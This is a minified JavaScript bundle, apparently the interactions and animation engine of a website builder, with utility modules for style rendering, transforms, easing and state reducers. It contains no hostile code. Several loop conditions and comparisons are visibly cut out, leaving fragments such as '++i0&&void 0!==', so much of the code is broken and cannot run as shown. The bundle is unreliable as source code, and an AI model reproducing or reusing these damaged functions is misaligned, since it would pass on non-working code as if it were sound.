f=[[i.CONFIG_X_VALUE,i.CONFIG_X_UNIT],[i.CONFIG_Y_VALUE,i.CONFIG_Y_UNIT],[i.CONFIG_Z_VALUE,i.CONFIG_Z_UNIT],[i.CONFIG_VALUE,i.CONFIG_UNIT]]},function(t,e,n){"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.IX2_EVENT_ENGINE_EVENT_TYPES=e.DIRECTIONS=e.EVENT_APPLIES_TO=e.EVENT_ACTION_TYPES=e.BASED_ON_TYPES=e.AXES=void 0;e.AXES={X_AXIS:"X_AXIS",Y_AXIS:"Y_AXIS"};e.BASED_ON_TYPES={ELEMENT:"ELEMENT",VIEWPORT:"VIEWPORT",PAGE:"PAGE"};e.EVENT_ACTION_TYPES={START:"START",STOP:"STOP",CONTINUOUS:"CONTINUOUS",CHANGE_COMBO:"CHANGE_COMBO"};e.EVENT_APPLIES_TO={ELEMENT:"ELEMENT",CLASS:"CLASS",PAGE:"PAGE"};e.DIRECTIONS={LEFT:"LEFT",RIGHT:"RIGHT",BOTTOM:"BOTTOM",TOP:"TOP",BOTTOM_LEFT:"BOTTOM_LEFT",BOTTOM_RIGHT:"BOTTOM_RIGHT",TOP_RIGHT:"TOP_RIGHT",TOP_LEFT:"TOP_LEFT",CLOCKWISE:"CLOCKWISE",COUNTER_CLOCKWISE:"COUNTER_CLOCKWISE"};e.IX2_EVENT_ENGINE_EVENT_TYPES={MOUSE_CLICK:"MOUSE_CLICK",MOUSE_SECOND_CLICK:"MOUSE_SECOND_CLICK",MOUSE_DOWN:"MOUSE_DOWN",MOUSE_UP:"MOUSE_UP",MOUSE_OVER:"MOUSE_OVER",MOUSE_OUT:"MOUSE_OUT",MOUSE_MOVE:"MOUSE_MOVE",SCROLL_INTO_VIEW:"SCROLL_INTO_VIEW",SCROLL_OUT_OF_VIEW:"SCROLL_OUT_OF_VIEW",SCROLLING_IN_VIEW:"SCROLLING_IN_VIEW",TAB_ACTIVE:"TAB_ACTIVE",TAB_INACTIVE:"TAB_INACTIVE",NAVBAR_OPEN:"NAVBAR_OPEN",NAVBAR_CLOSE:"NAVBAR_CLOSE",SLIDER_ACTIVE:"SLIDER_ACTIVE",SLIDER_INACTIVE:"SLIDER_INACTIVE",DROPDOWN_OPEN:"DROPDOWN_OPEN",DROPDOWN_CLOSE:"DROPDOWN_CLOSE",COMPONENT_ACTIVE:"COMPONENT_ACTIVE",COMPONENT_INACTIVE:"COMPONENT_INACTIVE",PAGE_START:"PAGE_START",PAGE_FINISH:"PAGE_FINISH",PAGE_SCROLL_UP:"PAGE_SCROLL_UP",PAGE_SCROLL_DOWN:"PAGE_SCROLL_DOWN",PAGE_SCROLL:"PAGE_SCROLL",ELEMENT:"ELEMENT",VIEWPORT:"VIEWPORT",PAGE:"PAGE",ECOMMERCE_CART_OPEN:"ECOMMERCE_CART_OPEN",ECOMMERCE_CART_CLOSE:"ECOMMERCE_CART_CLOSE"}},function(t,e,n){"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.IX2_INTERACTION_TYPES=void 0;e.IX2_INTERACTION_TYPES={MOUSE_CLICK_INTERACTION:"MOUSE_CLICK_INTERACTION",MOUSE_HOVER_INTERACTION:"MOUSE_HOVER_INTERACTION",SCROLL_INTO_VIEW_INTERACTION:"SCROLL_INTO_VIEW_INTERACTION",PAGE_LOAD_INTERACTION:"PAGE_LOAD_INTERACTION",PAGE_SCROLLED_INTERACTION:"PAGE_SCROLLED_INTERACTION",MOUSE_MOVE_INTERACTION:"MOUSE_MOVE_INTERACTION",SCROLLING_IN_VIEW_INTERACTION:"SCROLLING_IN_VIEW_INTERACTION",MOUSE_MOVE_IN_VIEWPORT_INTERACTION:"MOUSE_MOVE_IN_VIEWPORT_INTERACTION",PAGE_IS_SCROLLING_INTERACTION:"PAGE_IS_SCROLLING_INTERACTION",DROPDOWN_INTERACTION:"DROPDOWN_INTERACTION",NAVBAR_INTERACTION:"NAVBAR_INTERACTION",TAB_INTERACTION:"TAB_INTERACTION",SLIDER_INTERACTION:"SLIDER_INTERACTION",ECOMMERCE_CART_INTERACTION:"ECOMMERCE_CART_INTERACTION"}},function(t,e,n){"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.clearPlugin=e.renderPlugin=e.createPluginInstance=e.getPluginDestination=e.getPluginOrigin=e.getPluginDuration=e.getPluginConfig=void 0;e.getPluginConfig=function(t){return t.value};e.getPluginDuration=function(t,e){if("auto"!==e.config.duration)return null;var n=parseFloat(t.getAttribute("data-duration"));return n>0?1e3*n:1e3*parseFloat(t.getAttribute("data-default-duration"))};e.getPluginOrigin=function(t){return t||{value:0}};e.getPluginDestination=function(t){return{value:t.value}};e.createPluginInstance=function(t){var e=window.pyro.require("lottie").createInstance(t);return e.stop(),e.setSubframe(!0),e};e.renderPlugin=function(t,e,n){if(t){var r=e[n.actionTypeId].value/100;t.goToFrame(t.frames*r)}};e.clearPlugin=function(t){window.pyro.require("lottie").createInstance(t).stop()}},function(t,e,n){"use strict";var r,i,o,a=n(0),u=a(n(15)),c=a(n(14)),s=n(0);Object.defineProperty(e,"__esModule",{value:!0}),e.getInstanceId=function(){return"i"+R++},e.getElementId=function(t,e){for(var n in t){var r=t[n];if(r&&r.ref===e)return r.id}return"e"+N++},e.reifyState=function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},e=t.events,n=t.actionLists,r=t.site,i=(0,l.default)(e,function(t,e){var n=e.eventTypeId;return t[n]||(t[n]={}),t[n][e.id]=e,t},{}),o=r&&r.mediaQueries,a=[];o?a=o.map(function(t){return t.key}):(o=[],console.warn("IX2 missing mediaQueries in site data"));return{ixData:{events:e,actionLists:n,eventTypeMap:i,mediaQueries:o,mediaQueryKeys:a}}},e.observeStore=function(t){var e=t.store,n=t.select,r=t.onChange,i=t.comparator,o=void 0===i?b:i,a=e.getState,u=(0,e.subscribe)(function(){var t=n(a());if(null==t)return void u();o(t,c)||r(c=t,e)}),c=n(a());return u},e.getAffectedElements=L,e.getComputedStyle=function(t){var e=t.element,n=t.actionItem;if(!O.IS_BROWSER_ENV)return{};switch(n.actionTypeId){case g.STYLE_SIZE:case g.STYLE_BACKGROUND_COLOR:case g.STYLE_BORDER:case g.STYLE_TEXT_COLOR:case g.GENERAL_DISPLAY:return window.getComputedStyle(e);default:return{}}},e.getInstanceOrigin=function(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{},r=arguments.length>3?arguments[3]:void 0,i=(arguments.length>4?arguments[4]:void 0).getStyle,o=r.actionTypeId,a=r.config;if((0,h.isPluginType)(o))return(0,h.getPluginOrigin)(o)(e[o]);switch(o){case g.TRANSFORM_MOVE:case g.TRANSFORM_SCALE:case g.TRANSFORM_ROTATE:case g.TRANSFORM_SKEW:return e[o]||M[o];case g.STYLE_FILTER:return x(e[o],r.config.filters);case g.STYLE_OPACITY:return{value:(0,f.default)(parseFloat(i(t,I.OPACITY)),1)};case g.STYLE_SIZE:var u,c,s=i(t,I.WIDTH),l=i(t,I.HEIGHT);return u=a.widthUnit===I.AUTO?w.test(s)?parseFloat(s):parseFloat(n.width):(0,f.default)(parseFloat(s),parseFloat(n.width)),c=a.heightUnit===I.AUTO?w.test(l)?parseFloat(l):parseFloat(n.height):(0,f.default)(parseFloat(l),parseFloat(n.height)),{widthValue:u,heightValue:c};case g.STYLE_BACKGROUND_COLOR:case g.STYLE_BORDER:case g.STYLE_TEXT_COLOR:return function(t){var e=t.element,n=t.actionTypeId,r=t.computedStyle,i=t.getStyle,o=m[n],a=i(e,o),u=V.test(a)?a:r[o],c=function(t,e){var n=t.exec(e);return n?n[1]:""}(X,u).split(I.COMMA_DELIMITER);return{rValue:(0,f.default)(parseInt(c[0],10),255),gValue:(0,f.default)(parseInt(c[1],10),255),bValue:(0,f.default)(parseInt(c[2],10),255),aValue:(0,f.default)(parseFloat(c[3]),1)}}({element:t,actionTypeId:o,computedStyle:n,getStyle:i});case g.GENERAL_DISPLAY:return{value:(0,f.default)(i(t,I.DISPLAY),n.display)};case g.OBJECT_VALUE:return e[o]||{value:0};default:return}},e.getDestinationValues=function(t){var e=t.element,n=t.actionItem,r=t.elementApi,i=n.actionTypeId;if((0,h.isPluginType)(i))return(0,h.getPluginDestination)(i)(n.config);switch(i){case g.TRANSFORM_MOVE:case g.TRANSFORM_SCALE:case g.TRANSFORM_ROTATE:case g.TRANSFORM_SKEW:var o=n.config,a=o.xValue,u=o.yValue,c=o.zValue;return{xValue:a,yValue:u,zValue:c};case g.STYLE_SIZE:var s=r.getStyle,f=r.setStyle,l=r.getProperty,d=n.config,E=d.widthUnit,p=d.heightUnit,v=n.config,_=v.widthValue,T=v.heightValue;if(!O.IS_BROWSER_ENV)return{widthValue:_,heightValue:T};if(E===I.AUTO){var y=s(e,I.WIDTH);f(e,I.WIDTH,""),_=l(e,"offsetWidth"),f(e,I.WIDTH,y)}if(p===I.AUTO){var m=s(e,I.HEIGHT);f(e,I.HEIGHT,""),T=l(e,"offsetHeight"),f(e,I.HEIGHT,m)}return{widthValue:_,heightValue:T};case g.STYLE_BACKGROUND_COLOR:case g.STYLE_BORDER:case g.STYLE_TEXT_COLOR:var A=n.config,S=A.rValue,R=A.gValue,N=A.bValue,b=A.aValue;return{rValue:S,gValue:R,bValue:N,aValue:b};case g.STYLE_FILTER:return n.config.filters.reduce(P,{});default:var C=n.config.value;return{value:C}}},e.getRenderType=D,e.getStyleProp=function(t,e){return t===I.RENDER_STYLE?e.replace("STYLE_","").toLowerCase():null},e.renderHTMLElement=function(t,e,n,r,i,o,a,u,c){switch(u){case I.RENDER_TRANSFORM:return function(t,e,n,r,i){var o=j.map(function(t){var n=M[t],r=e[t]||{},i=r.xValue,o=void 0===i?n.xValue:i,a=r.yValue,u=void 0===a?n.yValue:a,c=r.zValue,s=void 0===c?n.zValue:c,f=r.xUnit,l=void 0===f?"":f,d=r.yUnit,E=void 0===d?"":d,p=r.zUnit,v=void 0===p?"":p;switch(t){case g.TRANSFORM_MOVE:return"".concat(I.TRANSLATE_3D,"(").concat(o).concat(l,", ").concat(u).concat(E,", ").concat(s).concat(v,")");case g.TRANSFORM_SCALE:return"".concat(I.SCALE_3D,"(").concat(o).concat(l,", ").concat(u).concat(E,", ").concat(s).concat(v,")");case g.TRANSFORM_ROTATE:return"".concat(I.ROTATE_X,"(").concat(o).concat(l,") ").concat(I.ROTATE_Y,"(").concat(u).concat(E,") ").concat(I.ROTATE_Z,"(").concat(s).concat(v,")");case g.TRANSFORM_SKEW:return"".concat(I.SKEW,"(").concat(o).concat(l,", ").concat(u).concat(E,")");default:return""}}).join(" "),a=i.setStyle;U(t,O.TRANSFORM_PREFIXED,i),a(t,O.TRANSFORM_PREFIXED,o),u=r,c=n,s=u.actionTypeId,f=c.xValue,l=c.yValue,d=c.zValue,(s===g.TRANSFORM_MOVE&&void 0!==d||s===g.TRANSFORM_SCALE&&void 0!==d||s===g.TRANSFORM_ROTATE&&(void 0!==f||void 0!==l))&&a(t,O.TRANSFORM_STYLE_PREFIXED,I.PRESERVE_3D);var u,c,s,f,l,d}(t,e,n,i,a);case I.RENDER_STYLE:return function(t,e,n,r,i,o){var a=o.setStyle,u=r.actionTypeId,c=r.config;switch(u){case g.STYLE_SIZE:var s=r.config,f=s.widthUnit,d=void 0===f?"":f,E=s.heightUnit,p=void 0===E?"":E,v=n.widthValue,_=n.heightValue;void 0!==v&&(d===I.AUTO&&(d="px"),U(t,I.WIDTH,o),a(t,I.WIDTH,v+d)),void 0!==_&&(p===I.AUTO&&(p="px"),U(t,I.HEIGHT,o),a(t,I.HEIGHT,_+p));break;case g.STYLE_FILTER:!function(t,e,n,r){var i=(0,l.default)(e,function(t,e,r){return"".concat(t," ").concat(r,"(").concat(e).concat(G(r,n),")")},""),o=r.setStyle;U(t,I.FILTER,r),o(t,I.FILTER,i)}(t,n,c,o);break;case g.STYLE_BACKGROUND_COLOR:case g.STYLE_BORDER:case g.STYLE_TEXT_COLOR:var h=m[u],T=Math.round(n.rValue),O=Math.round(n.gValue),y=Math.round(n.bValue),A=n.aValue;U(t,h,o),a(t,h,A>=1?"rgb(".concat(T,",").concat(O,",").concat(y,")"):"rgba(".concat(T,",").concat(O,",").concat(y,",").concat(A,")"));break;default:var S=c.unit,R=void 0===S?"":S;U(t,i,o),a(t,i,n.value+R)}}(t,0,n,i,o,a);case I.RENDER_GENERAL:return function(t,e,n){var r=n.setStyle;switch(e.actionTypeId){case g.GENERAL_DISPLAY:var i=e.config.value;return void(i===I.FLEX&&O.IS_BROWSER_ENV?r(t,I.DISPLAY,O.FLEX_PREFIXED):r(t,I.DISPLAY,i))}}(t,i,a);case I.RENDER_PLUGIN:var s=i.actionTypeId;if((0,h.isPluginType)(s))return(0,h.renderPlugin)(s)(c,e,i)}},e.clearAllStyles=function(t){var e=t.store,n=t.elementApi,r=e.getState().ixData,i=r.events,o=void 0===i?{}:i,a=r.actionLists,u=void 0===a?{}:a;Object.keys(o).forEach(function(t){var e=o[t],r=e.action.config,i=r.actionListId,a=u[i];a&&W({actionList:a,event:e,elementApi:n})}),Object.keys(u).forEach(function(t){W({actionList:u[t],elementApi:n})})},e.cleanupHTMLElement=function(t,e,n){var r=n.setStyle,i=n.getStyle,o=e.actionTypeId;if(o===g.STYLE_SIZE){var a=e.config;a.widthUnit===I.AUTO&&r(t,I.WIDTH,""),a.heightUnit===I.AUTO&&r(t,I.HEIGHT,"")}i(t,I.WILL_CHANGE)&&H({effect:B,actionTypeId:o,elementApi:n})(t)},e.getMaxDurationItemIndex=z,e.getActionListProgress=function(t,e){var n=t.actionItemGroups,r=t.useFirstGroupAsInitialState,i=e.actionItem,o=e.verboseTimeElapsed,a=void 0===o?0:o,u=0,c=0;return n.forEach(function(t,e){if(!r||0!==e){var n=t.actionItems,o=n[z(n)],s=o.config,f=o.actionTypeId;i.id===o.id&&(c=u+a);var l=D(f)===I.RENDER_GENERAL?0:s.duration;u+=s.delay+l}}),u>0?(0,_.optimizeFloat)(c/u):0},e.reduceListToGroup=function(t){var e=t.actionListId,n=t.actionItemId,r=t.rawData,i=r.actionLists[e];if(!i)throw new Error(["IX2VanillaUtils: Could not find action list with ID ".concat(JSON.stringify(e)),"","Raw Data:",JSON.stringify(r)].join("\n"));var o=i.actionItemGroups,a=i.continuousParameterGroups,u=[],s=function(t){return u.push((0,p.mergeIn)(t,["config"],{delay:0,duration:0})),t.id===n};return o&&o.some(function(t){return t.actionItems.some(s)}),a&&a.some(function(t){return t.continuousActionGroups.some(function(t){return t.actionItems.some(s)})}),(0,p.setIn)(r,["actionLists"],(0,c.default)({},e,{id:e,actionItemGroups:[{actionItems:u}]}))},e.shouldNamespaceEventParameter=function(t,e){var n=e.basedOn;return t===T.SCROLLING_IN_VIEW&&(n===T.ELEMENT||null==n)||t===T.MOUSE_MOVE&&n===T.ELEMENT},e.getNamespacedParameterId=function(t,e){return t+I.COLON_DELIMITER+e},e.shouldAllowMediaQuery=function(t,e){if(null==e)return!0;return-1!==t.indexOf(e)},e.mediaQueriesEqual=function(t,e){return(0,v.default)(t&&t.sort(),e&&e.sort())},e.stringifyTarget=function(t){if("string"==typeof t)return t;var e=t.id,n=void 0===e?"":e,r=t.selector,i=void 0===r?"":r,o=t.useEventTarget,a=void 0===o?"":o;return n+I.BAR_DELIMITER+i+I.BAR_DELIMITER+a},e.getItemConfigByKey=void 0;var f=s(n(193)),l=s(n(194)),d=s(n(200)),E=s(n(23)),p=n(13),v=s(n(93)),_=n(86),h=n(90),I=n(48),T=n(89),g=n(47),O=n(30),y=function(t){return t.trim()},m=Object.freeze((r={},(0,c.default)(r,g.STYLE_BACKGROUND_COLOR,I.BACKGROUND_COLOR),(0,c.default)(r,g.STYLE_BORDER,I.BORDER_COLOR),(0,c.default)(r,g.STYLE_TEXT_COLOR,I.COLOR),r)),A=Object.freeze((i={},(0,c.default)(i,O.TRANSFORM_PREFIXED,I.TRANSFORM),(0,c.default)(i,I.BACKGROUND_COLOR,I.BACKGROUND),(0,c.default)(i,I.OPACITY,I.OPACITY),(0,c.default)(i,I.FILTER,I.FILTER),(0,c.default)(i,I.WIDTH,I.WIDTH),(0,c.default)(i,I.HEIGHT,I.HEIGHT),i)),S={},R=1;var N=1;var b=function(t,e){return t===e};function C(t){var e=(0,u.default)(t);return"string"===e?{id:t}:null!=t&&"object"===e?{id:t.id,objectId:t.objectId,selector:t.selector,selectorGuids:t.selectorGuids,appliesTo:t.appliesTo,useEventTarget:t.useEventTarget}:{}}function L(t){var e=t.config,n=t.event,r=t.eventTarget,i=t.elementRoot,o=t.elementApi;if(!o)throw new Error("IX2 missing elementApi");var a=o.getValidDocument,u=o.getQuerySelector,c=o.queryDocument,s=o.getChildElements,f=o.getSiblingElements,l=o.matchSelector,d=o.elementContains,p=o.isSiblingNode,v=e.target;if(!v)return[];var _=C(v),h=_.id,g=_.objectId,y=_.selector,m=_.selectorGuids,A=_.appliesTo,R=_.useEventTarget;if(g)return[S[g]||(S[g]={})];if(A===T.PAGE){var N=a(h);return N?[N]:[]}var b,L,w,x=(0,E.default)(n,"action.config.affectedElements",{})[h||y]||{},P=Boolean(x.id||x.selector),D=n&&u(C(n.target));if(P?(b=x.limitAffectedElements,L=D,w=u(x)):L=w=u({id:h,selector:y,selectorGuids:m}),n&&R){var M=r&&(w||!0===R)?[r]:c(D);if(w){if(R===I.PARENT)return c(w).filter(function(t){return M.some(function(e){return d(t,e)})});if(R===I.CHILDREN)return c(w).filter(function(t){return M.some(function(e){return d(e,t)})});if(R===I.SIBLINGS)return c(w).filter(function(t){return M.some(function(e){return p(e,t)})})}return M}return null==L||null==w?[]:O.IS_BROWSER_ENV&&i?c(w).filter(function(t){return i.contains(t)}):b===I.CHILDREN?c(L,w):b===I.IMMEDIATE_CHILDREN?s(c(L)).filter(l(w)):b===I.SIBLINGS?f(c(L)).filter(l(w)):c(w)}var w=/px/,x=function(t,e){return e.reduce(function(t,e){return null==t[e.type]&&(t[e.type]=F[e.type]),t},t||{})};var P=function(t,e){return e&&(t[e.type]=e.value||0),t};function D(t){return/^TRANSFORM_/.test(t)?I.RENDER_TRANSFORM:/^STYLE_/.test(t)?I.RENDER_STYLE:/^GENERAL_/.test(t)?I.RENDER_GENERAL:/^PLUGIN_/.test(t)?I.RENDER_PLUGIN:void 0}e.getItemConfigByKey=function(t,e,n){if((0,h.isPluginType)(t))return(0,h.getPluginConfig)(t)(n,e);switch(t){case g.STYLE_FILTER:var r=(0,d.default)(n.filters,function(t){return t.type===e});return r?r.value:0;default:return n[e]}};var M=(o={},(0,c.default)(o,g.TRANSFORM_MOVE,Object.freeze({xValue:0,yValue:0,zValue:0})),(0,c.default)(o,g.TRANSFORM_SCALE,Object.freeze({xValue:1,yValue:1,zValue:1})),(0,c.default)(o,g.TRANSFORM_ROTATE,Object.freeze({xValue:0,yValue:0,zValue:0})),(0,c.default)(o,g.TRANSFORM_SKEW,Object.freeze({xValue:0,yValue:0})),o),F=Object.freeze({blur:0,"hue-rotate":0,invert:0,grayscale:0,saturate:100,sepia:0,contrast:100,brightness:100}),G=function(t,e){var n=(0,d.default)(e.filters,function(e){return e.type===t});if(n&&n.unit)return n.unit;switch(t){case"blur":return"px";case"hue-rotate":return"deg";default:return"%"}},j=Object.keys(M);var V=/^rgb/,X=RegExp("rgba?".concat("\\(([^)]+)\\)"));function U(t,e,n){if(O.IS_BROWSER_ENV){var r=A[e];if(r){var i=n.getStyle,o=n.setStyle,a=i(t,I.WILL_CHANGE);if(a){var u=a.split(I.COMMA_DELIMITER).map(y);-1===u.indexOf(r)&&o(t,I.WILL_CHANGE,u.concat(r).join(I.COMMA_DELIMITER))}else o(t,I.WILL_CHANGE,r)}}}function B(t,e,n){if(O.IS_BROWSER_ENV){var r=A[e];if(r){var i=n.getStyle,o=n.setStyle,a=i(t,I.WILL_CHANGE);a&&-1!==a.indexOf(r)&&o(t,I.WILL_CHANGE,a.split(I.COMMA_DELIMITER).map(y).filter(function(t){return t!==r}).join(I.COMMA_DELIMITER))}}}function W(t){var e=t.actionList,n=void 0===e?{}:e,r=t.event,i=t.elementApi,o=n.actionItemGroups,a=n.continuousParameterGroups;o&&o.forEach(function(t){k({actionGroup:t,event:r,elementApi:i})}),a&&a.forEach(function(t){t.continuousActionGroups.forEach(function(t){k({actionGroup:t,event:r,elementApi:i})})})}function k(t){var e=t.actionGroup,n=t.event,r=t.elementApi;e.actionItems.forEach(function(t){var e,i=t.actionTypeId,o=t.config;e=(0,h.isPluginType)(i)?(0,h.clearPlugin)(i):H({effect:Y,actionTypeId:i,elementApi:r}),L({config:o,event:n,elementApi:r}).forEach(e)})}var H=function(t){var e=t.effect,n=t.actionTypeId,r=t.elementApi;return function(t){switch(n){case g.TRANSFORM_MOVE:case g.TRANSFORM_SCALE:case g.TRANSFORM_ROTATE:case g.TRANSFORM_SKEW:e(t,O.TRANSFORM_PREFIXED,r);break;case g.STYLE_FILTER:e(t,I.FILTER,r);break;case g.STYLE_OPACITY:e(t,I.OPACITY,r);break;case g.STYLE_SIZE:e(t,I.WIDTH,r),e(t,I.HEIGHT,r);break;case g.STYLE_BACKGROUND_COLOR:case g.STYLE_BORDER:case g.STYLE_TEXT_COLOR:e(t,m[n],r);break;case g.GENERAL_DISPLAY:e(t,I.DISPLAY,r)}}};function Y(t,e,n){var r=n.setStyle;B(t,e,n),r(t,e,""),e===O.TRANSFORM_PREFIXED&&r(t,O.TRANSFORM_STYLE_PREFIXED,"")}function z(t){var e=0,n=0;return t.forEach(function(t,r){var i=t.config,o=i.delay+i.duration;o>=e&&(e=o,n=r)}),n}},function(t,e){t.exports=function(t,e){return null==t||t!=t?e:t}},function(t,e,n){var r=n(195),i=n(91),o=n(5),a=n(199),u=n(1);t.exports=function(t,e,n){var c=u(t)?r:a,s=arguments.length<3;return c(t,o(e,4),n,s,i)}},function(t,e){t.exports=function(t,e,n,r){var i=-1,o=null==t?0:t.length;for(r&&o&&(n=t[++i]);++i0&&void 0!==arguments[0]?arguments[0]:p,e=arguments.length>1?arguments[1]:void 0;if(e.type in v){var n=[v[e.type]];return(0,c.setIn)(t,[n],(0,a.default)({},e.payload))}return t}},function(t,e,n){"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.ixSession=void 0;var r=n(2),i=n(13),o=r.IX2EngineActionTypes,a=o.IX2_SESSION_INITIALIZED,u=o.IX2_SESSION_STARTED,c=o.IX2_TEST_FRAME_RENDERED,s=o.IX2_SESSION_STOPPED,f=o.IX2_EVENT_LISTENER_ADDED,l=o.IX2_EVENT_STATE_CHANGED,d=o.IX2_ANIMATION_FRAME_CHANGED,E=o.IX2_ACTION_LIST_PLAYBACK_CHANGED,p=o.IX2_VIEWPORT_WIDTH_CHANGED,v=o.IX2_MEDIA_QUERIES_DEFINED,_={active:!1,tick:0,eventListeners:[],eventState:{},playbackState:{},viewportWidth:0,mediaQueryKey:null,hasBoundaryNodes:!1,hasDefinedMediaQueries:!1};e.ixSession=function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:_,e=arguments.length>1?arguments[1]:void 0;switch(e.type){case a:var n=e.payload.hasBoundaryNodes;return(0,i.set)(t,"hasBoundaryNodes",n);case u:return(0,i.set)(t,"active",!0);case c:var r=e.payload.step,o=void 0===r?20:r;return(0,i.set)(t,"tick",t.tick+o);case s:return _;case d:var h=e.payload.now;return(0,i.set)(t,"tick",h);case f:var I=(0,i.addLast)(t.eventListeners,e.payload);return(0,i.set)(t,"eventListeners",I);case l:var T=e.payload,g=T.stateKey,O=T.newState;return(0,i.setIn)(t,["eventState",g],O);case E:var y=e.payload,m=y.actionListId,A=y.isPlaying;return(0,i.setIn)(t,["playbackState",m],A);case p:for(var S=e.payload,R=S.width,N=S.mediaQueries,b=N.length,C=null,L=0;L=P&&R<=D){C=x;break}}return(0,i.merge)(t,{viewportWidth:R,mediaQueryKey:C});case v:return(0,i.set)(t,"hasDefinedMediaQueries",!0);default:return t}}},function(t,e,n){"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.ixInstances=void 0;var r=n(2),i=n(13),o=r.IX2EngineActionTypes,a=o.IX2_RAW_DATA_IMPORTED,u=o.IX2_SESSION_STOPPED,c=o.IX2_INSTANCE_ADDED,s=o.IX2_INSTANCE_STARTED,f=o.IX2_INSTANCE_REMOVED,l=o.IX2_ANIMATION_FRAME_CHANGED,d=r.IX2EasingUtils,E=d.optimizeFloat,p=d.applyEasing,v=d.createBezierEasing,_=r.IX2EngineConstants.RENDER_GENERAL,h=r.IX2VanillaUtils,I=h.getItemConfigByKey,T=h.getRenderType,g=h.getStyleProp,O=function(t,e){var n=t.position,r=t.parameterId,o=t.actionGroups,a=t.destinationKeys,u=t.smoothing,c=t.restingValue,s=t.actionTypeId,f=t.customEasingFn,l=e.payload.parameters,d=Math.max(1-u,.01),v=l[r];null==v&&(d=1,v=c);var _,h,T,g,O=Math.max(v,0)||0,y=E(O-n),m=E(n+y*d),A=100*m;if(m===n&&t.current)return t;for(var S=0,R=o.length;S=b){_=C[0];var L=o[S+1],w=L&&A!==b;h=w?L.actionItems[0]:null,w&&(T=b/100,g=(L.keyframe-b)/100)}}var x={};if(_&&!h)for(var P=0,D=a.length;P0&&void 0!==arguments[0]?arguments[0]:Object.freeze({}),e=arguments.length>1?arguments[1]:void 0;switch(e.type){case a:return e.payload.ixInstances||Object.freeze({});case u:return Object.freeze({});case c:var n=e.payload,r=n.instanceId,o=n.elementId,d=n.actionItem,E=n.eventId,p=n.eventTarget,_=n.eventStateKey,h=n.actionListId,I=n.groupIndex,m=n.isCarrier,A=n.origin,S=n.destination,R=n.immediate,N=n.verbose,b=n.continuous,C=n.parameterId,L=n.actionGroups,w=n.smoothing,x=n.restingValue,P=n.pluginInstance,D=n.pluginDuration,M=n.instanceDelay,F=d.actionTypeId,G=T(F),j=g(G,F),V=Object.keys(S).filter(function(t){return null!=S[t]}),X=d.config.easing;return(0,i.set)(t,r,{id:r,elementId:o,active:!1,position:0,start:0,origin:A,destination:S,destinationKeys:V,immediate:R,verbose:N,current:null,actionItem:d,actionTypeId:F,eventId:E,eventTarget:p,eventStateKey:_,actionListId:h,groupIndex:I,renderType:G,isCarrier:m,styleProp:j,continuous:b,parameterId:C,actionGroups:L,smoothing:w,restingValue:x,pluginInstance:P,pluginDuration:D,instanceDelay:M,customEasingFn:Array.isArray(X)&&4===X.length?v(X):void 0});case s:var U=e.payload,B=U.instanceId,W=U.time;return(0,i.mergeIn)(t,[B],{active:!0,complete:!1,start:W});case f:var k=e.payload.instanceId;if(!t[k])return t;for(var H={},Y=Object.keys(t),z=Y.length,K=0;K0&&void 0!==arguments[0]?arguments[0]:{},e=arguments.length>1?arguments[1]:void 0;switch(e.type){case i:return e.payload.ixParameters||{};case o:return{};case a:var n=e.payload,r=n.key,u=n.value;return t[r]=u,t;default:return t}}},function(t,e,n){var r=n(208);t.exports=function(t,e){if(null==t)return{};var n,i,o=r(t,e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(t);for(i=0;i=0||Object.prototype.propertyIsEnumerable.call(t,n)&&(o[n]=t[n])}return o}},function(t,e){t.exports=function(t,e){if(null==t)return{};var n,r,i={},o=Object.keys(t);for(r=0;r=0||(i[n]=t[n]);return i}},function(t,e,n){var r=n(39),i=n(41),o=n(10),a=n(210),u=n(211),c="[object Map]",s="[object Set]";t.exports=function(t){if(null==t)return 0;if(o(t))return a(t)?u(t):t.length;var e=i(t);return e==c||e==s?t.size:r(t).length}},function(t,e,n){var r=n(9),i=n(1),o=n(7),a="[object String]";t.exports=function(t){return"string"==typeof t||!i(t)&&o(t)&&r(t)==a}},function(t,e,n){var r=n(212),i=n(213),o=n(214);t.exports=function(t){return i(t)?o(t):r(t)}},function(t,e,n){var r=n(82)("length");t.exports=r},function(t,e){var n=RegExp("[\\u200d\\ud800-\\udfff\\u0300-\\u036f\\ufe20-\\ufe2f\\u20d0-\\u20ff\\ufe0e\\ufe0f]");t.exports=function(t){return n.test(t)}},function(t,e){var n="[\\ud800-\\udfff]",r="[\\u0300-\\u036f\\ufe20-\\ufe2f\\u20d0-\\u20ff]",i="\\ud83c[\\udffb-\\udfff]",o="[^\\ud800-\\udfff]",a="(?:\\ud83c[\\udde6-\\uddff]){2}",u="[\\ud800-\\udbff][\\udc00-\\udfff]",c="(?:"+r+"|"+i+")"+"?",s="[\\ufe0e\\ufe0f]?"+c+("(?:\\u200d(?:"+[o,a,u].join("|")+")[\\ufe0e\\ufe0f]?"+c+")*"),f="(?:"+[o+r+"?",r,a,u,n].join("|")+")",l=RegExp(i+"(?="+i+")|"+f+s,"g");t.exports=function(t){for(var e=l.lastIndex=0;l.test(t);)++e;return e}},function(t,e,n){var r=n(5),i=n(216),o=n(217);t.exports=function(t,e){return o(t,i(r(e)))}},function(t,e){var n="Expected a function";t.exports=function(t){if("function"!=typeof t)throw new TypeError(n);return function(){var e=arguments;switch(e.length){case 0:return!t.call(this);case 1:return!t.call(this,e[0]);case 2:return!t.call(this,e[0],e[1]);case 3:return!t.call(this,e[0],e[1],e[2])}return!t.apply(this,e)}}},function(t,e,n){var r=n(81),i=n(5),o=n(218),a=n(221);t.exports=function(t,e){if(null==t)return{};var n=r(a(t),function(t){return[t]});return e=i(e),o(t,n,function(t,n){return e(t,n[0])})}},function(t,e,n){var r=n(42),i=n(219),o=n(24);t.exports=function(t,e,n){for(var a=-1,u=e.length,c={};++a=0&&t.slice(n,c)==e}},function(t,e,n){var r=n(234),i=n(4),o="Expected a function";t.exports=function(t,e,n){var a=!0,u=!0;if("function"!=typeof t)throw new TypeError(o);return i(n)&&(a="leading"in n?!!n.leading:a,u="trailing"in 